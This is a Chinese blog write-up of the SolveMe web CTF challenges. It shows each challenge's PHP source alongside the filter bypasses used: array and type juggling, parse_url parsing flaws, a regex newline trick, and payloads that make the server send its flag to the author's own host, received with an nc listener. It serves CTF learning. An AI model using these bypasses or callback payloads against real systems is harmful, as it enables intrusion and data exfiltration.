SolveMe-WriteUp-Web

做题平台

好久之前写的,写的时候自己不会,搜了一下wp,发现 一叶飘零师傅 写了wp又下了,问了一下,原来是怕学弟看他wp,过去了好久,今天翻草稿的时候看到了,看见 一叶飘零师傅 已经发了wp,于是才发orz

再膜一下窝一叶飘零师傅,什么时候窝才能像飘零师傅一样优秀orz

Warm up (web1)

1
2
3
4
5
6
7
<?php
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);

所以:

1
2
3
4
5
~ cyto$ php -a
Interactive shell
php > echo hex2bin(strrev(bin2hex(base64_decode('1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY='))));
flag{582a0f2c7e302244b110cc461f5cb100}

Bad compare (web2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['answer'])){
if($_GET['answer'] === 'роВхУъесЧМ'){
echo $flag;
}else{
echo 'Wrong answer';
}
echo '<hr>';
}
highlight_file(__FILE__);

问题出在роВхУъесЧМ这一堆鬼东西上

是编码的问题

解决办法:

  • 窝的笨蛋办法:burp改包,照着过来的返回包的hex改hex,得到flag
  • pcat师傅的聪明办法:Python urllib.quote()

burp改hex

urlencode

照着pcat师傅的脚本自己撸了一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python2
# -*- coding:utf8 -*-
__author__ = 'Cytosine'
import requests
import urllib
import re
def foo():
url='http://badcompare.solveme.peng.kr/'
cont=requests.get(url).content
# print cont
answer=re.findall(r"===&nbsp;</span><span style=\"color: #DD0000\">'(.*?)'</span>",cont)[0]
# print answer
print requests.get(url+'?answer='+urllib.quote(answer)).content
pass
if __name__ == '__main__':
foo()
print 'ok'

运行结果:

1
2
3
4
5
6
7
flag{446c7b68ad824cd9c1df87158717aa2b}<hr><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />&nbsp;&nbsp;&nbsp;&nbsp;error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;require&nbsp;</span><span style="color: #0000BB">__DIR__</span><span style="color: #007700">.</span><span style="color: #DD0000">'/lib.php'</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;if(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'answer'</span><span style="color: #007700">])){<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'answer'</span><span style="color: #007700">]&nbsp;===&nbsp;</span><span style="color: #DD0000">'����������'</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #0000BB">$flag</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">'Wrong&nbsp;answer'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">'&lt;hr&gt;'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);</span>
</span>
</code>
ok
Process finished with exit code 0

Winter sleep (web3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
  • is_numeric(): 检测变量是否为数字或数字字符串,支持科学计数法。
  • (int): 强制转换为int,会截取到第一个非数字。(若第一位就是非数字,返回0)

so, 科学计数法 6e6, get flag:flag{2d4e9b6608efb8088abb2345ef2f7b90}

Hard login (web4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
session_start();
require __DIR__.'/lib.php';
if(isset($_GET['username'], $_GET['password'])){
if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..';
}else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
echo 'Wrong username..';
}else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
echo 'Wrong password..';
}else{
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
}
echo '<hr>';
}
highlight_file(__FILE__);

代码着实不会绕,然后直接看后面跳到了./

于是开burp,浏览器访问,发现没有抓到包,于是curl一下,get flag:

1
2
3
4
5
~ cyto$ curl http://hardlogin.solveme.peng.kr/
flag{0c6c0da40b898083181495d760759e78}<hr><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />&nbsp;&nbsp;&nbsp;&nbsp;error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">session_start</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;require&nbsp;</span><span style="color: #0000BB">__DIR__</span><span style="color: #007700">.</span><span style="color: #DD0000">'/lib.php'</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;if(!isset(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">'hard_login_check'</span><span style="color: #007700">])){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">header</span><span style="color: #007700">(</span><span style="color: #DD0000">'Location:&nbsp;./login.php'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #0000BB">$flag</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'&lt;hr&gt;'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;unset(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">'hard_login_check'</span><span style="color: #007700">]);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);</span>
</span>
</code>~ cyto$

URL filtering (web5)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
require __DIR__."/lib.php";
$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);
$params = explode("&", $url_query);
foreach($params as $param){
$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}
if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}
highlight_file(__FILE__);

代码不长,不过出现了3个窝没见过的东西,详细记一下:

  • $_SERVER['REQUEST_URI']: 获取当前请求的完整url(除域名)
  • parse_url: 解析URL,返回其组成部分。官方手册给的例子:

    1
    2
    3
    4
    5
    6
    7
    <?php
    $url = 'http://username:password@hostname/path?arg=value#anchor';
    print_r(parse_url($url));
    echo parse_url($url, PHP_URL_PATH);
    ?>

    output:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    Array
    (
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
    )
    /path

    指定PHP_URL_QUERY表示只解析查询部分。

    1
    2
    $url = 'http://username:password@hostname/path?arg1=value1&arg2=value2#anchor';
    echo nl2br(parse_url($url, PHP_URL_QUERY)."\n");

    output:

    1
    arg1=value1&arg2=value2
  • explode: 把字符串分割为数组。官方手册的示例:

    1
    2
    3
    4
    5
    <?php
    $pizza = "piece1 piece2 piece3 piece4 piece5 piece6";
    $pieces = explode(" ", $pizza);
    echo $pieces[0]; // piece1
    echo $pieces[1]; // piece2

分析一下题目代码:

  • line 5: 请求的URL进行url解码
  • line 6: 把 解码后的url的查询部分 提取出来。
  • line 8: 把url的查询部分以&分割出来key=value的形式。
  • line 11~18: 根据=key=value分割成key对应value。

line 20~27: 关键代码。

  • line 20 的if判断,key中不能出现do_you_want_flagvalue中不能出现yes
  • line 25 的if判断,要GET过去一个名为do_you_want_flag值为yes的参数。

两个明显矛盾,所以肯定是line 5~18中有某个函数有漏洞,导致可以绕过20行处的if判断。

翻了一下 一叶飘零 师傅的wp , 得知是parse_url()中存在解析漏洞,飘零师傅讲parse_url()的文章

在php5.4.7之前,可以用///的形式bypass掉parse_url(),使其返回FALSE,最终payload为:

1
http://urlfiltering.solveme.peng.kr///?do_you_want_flag=yes

Hash collision (web6)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['foo'], $_GET['bar'])){
if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
die('Too long');
}
if($_GET['foo'] === $_GET['bar']){
die('Same value');
}
if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
die('Different hash');
}
echo $flag, '<hr>';
}
highlight_file(__FILE__);

值不同,哈希一致,===判断,数组绕过~

所以payload: ?foo[]=1&bar[]=2

Array2String (web7)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
require __DIR__.'/lib.php';
$value = $_GET['value'];
$username = $_GET['username'];
$password = $_GET['password'];
for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);

简单梳理一下代码逻辑:

  • 遍历GET请求中的每一个value
  • 如果GET请求中有username,就把原来的username变量释放掉。
  • 如果value中哪一位的值能根据ASCII转换成字符,就会释放掉value变量;否则将value变为字符后连接到username中。
  • 如果username的值==15th_HackingCamp,并且md5($password) == md5(file_get_contents('./secret.passwd')),这里我注意到用的是==而不是===

参考 一叶飘零 师傅的wp ,得知chr()会将大于256的数自动取模,所以可用用value[]=305这种形式bypass

给出脚本,py2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python2
# -*- coding:utf8 -*-
__author__ = 'Cytosine'
import requests
def foo():
url='http://array2string.solveme.peng.kr/'
username_plaintext='15th_HackingCamp'
mod_number=256
query_str='?'
for i in username_plaintext:
c=ord(i)+mod_number
query_str+='value[]=%d&'%c
query_str+='password=simple_passw0rd'
# print query_str
print requests.get(url+query_str).content
pass
if __name__ == '__main__':
foo()
print 'ok'

注意是value[]=xx不是value=xx

如果是value=1&value=2,最后,value的值会是2哦。

飘零师傅的wp中还给出了通过科学计数法,value[]=83.3e1这种形式bypass的办法:83.3e10,转换为正常的数字就是833,833%256=65。和上面的方法本质上还是一样的。

Give me a link (web8)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}
if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
die('Not allowed URL');
}
$parse = parse_url($url);
if($parse['path'] !== '/plz_give_me'){
die('Not allowed path');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
echo 'Okay, I sent the flag.', '<hr>';
}
highlight_file(__FILE__);

要想执行到第21~25行,需要过三个判断,分别看看三个正则什么意思:

  • preg_match('/_|\s|\0/', $url): 不能包含下划线、空白字符、数字?
  • !preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url): url必须以https://开头,然后是请求包中的Host项。
  • $parse['path'] !== '/plz_give_me': url中hostname的路径必须为/plz_give_me

http://skysec.top/2018/03/15/solveme-peng-kr-web/#Give-me-a-link

所以payload:

1
/?url=https://givemealink.solveme.peng.kr@104.207.146.176/plz%1agive%1ame

查看服务器日志,看到flag:

1
223.26.138.11 - - [05/Apr/2018:16:24:22 +0800] "GET /flag{0983f9eaa0357982b2c0b4c6c037dfe3} HTTP/1.1" 404 301 "-" "-"

Give me a link 2 (web9)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}
$parse = parse_url($url);
if(!preg_match('/^https?$/i', $parse['scheme'])){
die('Not allowed scheme');
}
if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}
if(!preg_match('/\/plz_give_me$/', $parse['path'])){
die('Not allowed path');
}
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if($socket === false){
die('Failed to create socket');
}
$host = gethostbyname($parse['host']);
$port = is_null($parse['port']) ? 80 : $parse['port'];
if(socket_connect($socket, $host, $port) === false){
die('Failed to connect');
}
$send = "HEAD /".$flag." HTTP/1.1\r\n".
"Host: ".$host.":".$port."\r\n".
"Connection: Close\r\n".
"\r\n\r\n";
socket_write($socket, $send, strlen($send));
$recv = socket_read($socket, 1024);var_dump($recv);
if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
die('Not allowed response');
}
socket_close($socket);
echo 'Okay, I sent the flag.', '<hr>';
}
highlight_file(__FILE__);

ip2long

http://givemealink2.solveme.peng.kr/?url=http://1758433968:23333/plz%01give%01me

1
2
3
php > echo ip2long('104.207.146.176')
php > ;
1758433968
1
2
3
4
root@sqli:~# nc -l -p 23333
HEAD /flag{51e22d08303881dd898f916cb1956c4e} HTTP/1.1
Host: 104.207.146.176:23333
Connection: Close

Replace filter (web10)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['say']) && strlen($_GET['say']) < 20){
$say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);
if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}
echo '<hr>';
}
highlight_file(__FILE__);

感谢 一叶飘零 师傅的wp

得知,/^(.*)flag(.*)$/的写法有缺陷,.用于匹配任意字符并不包括换行符,^ $则规定为同一行,否则匹配不到,故此换行即可bypass。

payload:

1
http://replacefilter.solveme.peng.kr/?say=%0agive_me_the_flag

Hell JS (web11)

查看源代码 -> jsfuck(感谢 @郁离歌小哥哥)

decode之后为:https://www.npmjs.com/package/jssuck

1
// good job! let flag = prompt("what is the flag?"); if (flag === "") { alert("plnput"); } else if (flag === "flag{21df4ad3ce31af845cf9cd6a5eddbb91}") { alert("bingo"); } else { alert("wrong"); }

Anti SQLi (web12)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
// It's 'Anti SQLi' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';
$id = $_GET['id'];
$pw = $_GET['pw'];
if(isset($id, $pw)){
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
) and die('Hack detected');
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');
$result = mysqli_fetch_array(
mysqli_query(
$con,
"SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
)
);
mysqli_close($con);
if(isset($result)){
if($result['no'] === '31337'){
echo $flag;
}else{
echo 'Hello, ', $result['id'];
}
}else{
echo 'Login failed';
}
echo '<hr>';
}
highlight_file(__FILE__);

看了 一叶飘零 师傅的wp ,飘零师傅分析得很详细,所以窝就不分析了,直接看大佬的分析吧qwq

Name check (web13)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['name'])){
$name = $_GET['name'];
if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
echo 'Not allowed input';
goto quit;
}
$sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
$res = $sql->query("
SELECT
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'
;");
if($res === false){
echo 'Database error';
goto quit;
}
$row = $res->fetchArray(SQLITE3_NUM);
if(
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
){
echo 'Auth failed';
goto quit;
}
echo $flag;
quit:
echo '<hr>';
}
highlight_file(__FILE__);

一叶飘零 师傅的wp

窝很可爱,请给窝钱